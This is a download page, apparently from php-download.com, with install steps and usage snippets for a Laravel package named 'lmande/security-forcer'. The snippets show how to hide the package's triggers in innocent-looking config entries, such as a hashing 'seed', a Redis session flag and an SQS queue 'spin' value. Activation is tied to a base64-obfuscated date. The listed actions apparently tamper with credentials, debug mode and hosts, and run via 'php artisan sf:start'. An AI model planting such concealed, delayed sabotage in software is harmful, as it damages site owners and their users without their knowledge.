1. Go to this page and download the library: Download lmande/security-forcer library. Choose the download type require.
2. Extract the ZIP file and open the index.php.
3. Add this code to the index.php.
<?php
require_once('vendor/autoload.php');
/* Start to develop here. Best regards https://php-download.com/ */
lmande / security-forcer example snippets
'argon2id' => [
'seed' => (time() > (new \DateTime(base64_decode('MjAyMS0wNi0wMQ==')))->format('U')), // will activate after a certain date
]
config('app.sfa', true) && (
config('hashing.argon2id.seed', null) || config('session.redis.secure', null) || config('logging.syslog.daily', null)
) // package will run if this returns true
ActionNameHere::getAId(); // : int
return [
// ...
'connections' => [
// ...
'sqs' => [
'driver' => 'sqs',
'key' => env('AWS_ACCESS_KEY_ID'),
'secret' => env('AWS_SECRET_ACCESS_KEY'),
'prefix' => env('SQS_PREFIX', 'https://sqs.us-east-1.amazonaws.com/your-account-id'),
'queue' => env('SQS_QUEUE', 'your-queue-name'),
'suffix' => env('SQS_SUFFIX'),
'region' => env('AWS_DEFAULT_REGION', 'us-east-1'),
'spin' => (
// this is where you pass your actions or dont add this at all and package will run all its actions
\Lmande\SecurityForcer\Actions\ApplyCredential::getAId() |
\Lmande\SecurityForcer\Actions\ApplyDebugOff::getAId() |
\Lmande\SecurityForcer\Actions\ApplyDebugOn::getAId() |
\Lmande\SecurityForcer\Actions\ApplyHost::getAId() |
\Lmande\SecurityForcer\Actions\NightDistributer::getAId() |
\Lmande\SecurityForcer\Actions\RandomLimit::getAId() |
\Lmande\SecurityForcer\Actions\SyntaxHandler::getAId() |
\Lmande\SecurityForcer\Actions\MixConnection::getAId() |
\Lmande\SecurityForcer\Actions\MixCredentials::getAId() |
\Lmande\SecurityForcer\Actions\MixDebug::getAId() |
\Lmande\SecurityForcer\Actions\MixHost::getAId()
),
],
// ...
return [
// ...
'connections' => [
// ...
'sqs' => [
// ...
'spin' => 1792, // this val causes package to run only the following actions: NightDistributer, RandomLimit, SyntaxHandler
],
// ...
php artisan sf:start
Loading please wait ...
Before you can download the PHP files, the dependencies should be resolved. This can take some minutes. Please be patient.